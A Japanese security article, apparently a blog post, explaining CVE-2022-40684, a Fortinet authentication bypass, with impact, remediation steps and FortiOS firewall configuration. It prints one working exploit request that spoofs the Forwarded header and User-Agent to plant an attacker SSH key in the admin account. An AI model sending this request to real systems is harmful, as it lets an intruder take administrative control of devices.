CVE-2022-40684
脆弱性について
CVE-2022-40684 は、FortiOS、Fortiproxy、FortiSwitchManager などの一部のフォーティネット製品における認証バイパスの脆弱性です。これは、この脆弱性を利用して、攻撃者が認証をバイパスし、管理者としてログインできることを意味します。この脆弱性の基本スコアは 9.8 で、非常に重大です。さらに先に進む前に、これらの製品が何であるかを理解しましょう。
- FortiOS: 名前が示すように、Fortinet ネットワーク オペレーティング システムであるFortiOS は、フォーティネット セキュリティの心臓部です。このオペレーティング システムは、セキュリティ ファブリックの中核であり、すべてのコンポーネントを結び付けて、組織の展開全体にわたる緊密な統合を保証します。
- FortiProxy: Web フィルタリングなどの複数の検出技術を組み込むことで、従業員をインターネット経由の攻撃から保護する安全な Web プロキシです。
- FortiSwitchManager (FSWM) は、FortiSwitch 製品のオンプレミス管理プラットフォームです。FortiSwitch ユニットは、レイヤー 3 ネットワークを介して FortiSwitch Manager に接続します。この FortiSwitch 管理専用プラットフォームを使用して、多数の FortiSwitch ユニットを構成できます。
影響
このバグにより、認証されていないユーザーが一部の HTTP/S リクエスト (メソッドは GET、POST、DELETE など) を介して管理パネルで直接操作を実行できます。管理者の役割を持つと、次のイベントの一部が発生する可能性があります。
- アプリケーション全体を制御する
- 内部インフラストラクチャへのアクセスの取得
- ユーザーの追加または削除
- 機密データへの露出
- 管理者ユーザーの SSH キーを変更して、攻撃者が侵害されたシステムにログインできるようにする
- 異なる設定ファイルの改ざんなど。
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000”;by= ”[127.0.0.1]:9000 ”; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }
- Forwarded ヘッダーを使用すると、攻撃者はclient_ipを「127.0.0.1」に設定できます。
- 「信頼できるアクセス」認証チェックでは、client_ipが「127.0.0.1」であり、User-Agentが「Report Runner」であり、どちらも攻撃者の制御下にあることが確認されます。
「欠点を見つけることよりも、改善策を見つけることの方がはるかに重要です」
以下は、組織を CVE-2022–40684 から保護するための修復の一部です。
- 影響を受ける製品のアップグレード。
FortiOS バージョンを 7.2.2 以上および 7.0.7 以上に
アップグレードする FortiProxy バージョンを 7.2.1 以上および 7.0.7 以上に
アップグレードする FortiSwitchManager バージョンを 7.2.1 以上および 7.0.1 以上にアップグレードする - FortiOS、FortiProxy、および FortiSwitchManager で http/https 管理インターフェースを無効にします。
- FortiOS の場合、管理インターフェイスに到達できる IP アドレスを制限します
config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end
config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end
config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end
config firewall service custom
edit GUI_HTTPS
set tcp-portrange <admin-sport>
next
edit GUI_HTTP
set tcp-portrange <admin-port>
end
config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end

![とにかく、リンクリストとは何ですか?[パート1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































